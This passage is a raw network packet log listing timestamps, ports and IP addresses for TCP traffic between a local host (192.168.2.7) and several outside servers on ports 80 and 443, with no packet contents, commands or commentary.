Nov 18, 2024 08:55:47.965424061 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965435982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965447903 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965449095 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965461016 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965464115 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965472937 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965483904 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965492010 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965495110 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965507984 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965514898 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965523005 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965528011 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965538979 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965550900 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965562105 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965573072 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965575933 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965584993 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965604067 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965607882 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965615988 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965626955 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965631008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965642929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965645075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965656042 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965662003 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965667009 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965678930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965691090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965692043 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965708971 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965724945 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965728998 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965739965 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965742111 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965751886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965764046 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965764999 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965774059 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965786934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965794086 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965807915 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965818882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965831041 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965833902 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965848923 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965861082 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965868950 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965876102 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965888023 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965888977 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965898037 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965909958 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965919018 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965920925 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965931892 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965933084 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965943098 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965954065 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965954065 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.965965986 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965985060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.965993881 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966002941 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966013908 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966025114 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966026068 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966037989 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966065884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966069937 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966084003 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966088057 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966099977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966111898 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966115952 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966115952 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966124058 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966135025 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966135979 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966147900 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966154099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966160059 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966162920 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966172934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966180086 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966183901 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966196060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966206074 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966217995 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966222048 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966228962 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966242075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:47.966252089 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966265917 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.966298103 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:47.976632118 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.976650000 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.976674080 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.976687908 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.976706028 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.976722956 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.976747036 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.976767063 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.978296995 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.978307009 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.978329897 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.978358984 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.978363991 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.978379965 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.978399038 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.978423119 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.980567932 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.980595112 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.980658054 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.980665922 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.980741978 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.982052088 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.982070923 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.982121944 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:47.982130051 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:47.982192993 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:48.001773119 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.001857996 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.001883030 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.001893997 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.001912117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.001919985 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.001924992 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.001940012 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.001945019 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.001955986 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.001955986 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.001967907 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.001976967 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.001981974 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002000093 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002011061 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002012014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002022982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002032042 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002036095 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002047062 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002058983 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002063036 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002068996 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002079010 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002089977 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002104044 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002104998 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002119064 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002124071 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002130032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002140045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002141953 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002151966 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002161980 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002171993 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002180099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002191067 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002197981 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002198935 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002202034 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002223969 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002249002 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002268076 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002306938 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002317905 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002346992 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002350092 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002363920 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002372026 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002377987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002396107 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002434015 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002526999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002537966 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002548933 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002559900 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002578020 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002579927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002590895 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002599955 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002604008 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002614975 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002626896 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002639055 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002639055 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002650976 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002662897 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002672911 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002672911 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002675056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002686024 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002696991 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002697945 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002711058 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002712965 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002722025 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002734900 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.002736092 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002753019 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.002782106 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.092092991 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:48.092113972 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:48.092154980 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:48.092166901 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:48.092190981 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:48.092211008 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:48.092643023 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:48.092694998 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:48.092705011 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:48.092719078 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:48.092726946 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:48.092756987 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:48.092778921 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:48.092796087 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:48.092832088 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:48.093444109 CET	49936	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:48.093458891 CET	443	49936	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:48.099812984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.099869013 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.099878073 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.099915981 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.155395031 CET	443	49939	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:48.158900976 CET	49939	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:48.158927917 CET	443	49939	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:48.159292936 CET	443	49939	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:48.159797907 CET	49939	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:48.159863949 CET	443	49939	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:48.161443949 CET	49939	443	192.168.2.7	13.107.246.57
Nov 18, 2024 08:55:48.178967953 CET	443	49945	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:48.179179907 CET	49945	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:48.179197073 CET	443	49945	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:48.180229902 CET	443	49945	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:48.180330038 CET	49945	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:48.182391882 CET	49945	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:48.182482004 CET	443	49945	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:48.191369057 CET	443	49946	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:48.191644907 CET	49946	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:48.191668034 CET	443	49946	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:48.194745064 CET	443	49946	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:48.194984913 CET	49946	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:48.195336103 CET	49946	443	192.168.2.7	23.218.224.5
Nov 18, 2024 08:55:48.195430994 CET	443	49946	23.218.224.5	192.168.2.7
Nov 18, 2024 08:55:48.202518940 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.202532053 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.202617884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.203327894 CET	443	49939	13.107.246.57	192.168.2.7
Nov 18, 2024 08:55:48.203892946 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.203905106 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.203917027 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.203962088 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.203974009 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.203984976 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.203996897 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.203996897 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204020977 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204050064 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204135895 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204147100 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204158068 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204170942 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204171896 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204185009 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204186916 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204205036 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204216957 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204227924 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204235077 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204237938 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204253912 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204257965 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204268932 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204271078 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204276085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204282045 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204289913 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204304934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204315901 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204317093 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204332113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204336882 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204360962 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204377890 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204377890 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204391956 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204402924 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204411030 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204413891 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204421997 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204426050 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204436064 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204442024 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204456091 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204480886 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204746962 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204782963 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204788923 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204797983 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204804897 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204823971 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204847097 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204873085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204885006 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204895973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204905987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.204920053 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.204952955 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.205091000 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205107927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205118895 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205130100 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205142021 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205152035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205152035 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.205163956 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205168962 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205173969 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205176115 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.205178976 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205189943 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205215931 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.205216885 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205231905 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.205234051 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205252886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205260038 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.205265045 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205276012 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.205276966 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205293894 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.205295086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205312967 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205322981 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:48.205323935 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205341101 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:48.205348015 CET	49844	80	192.168.2.7	185.215.113.206
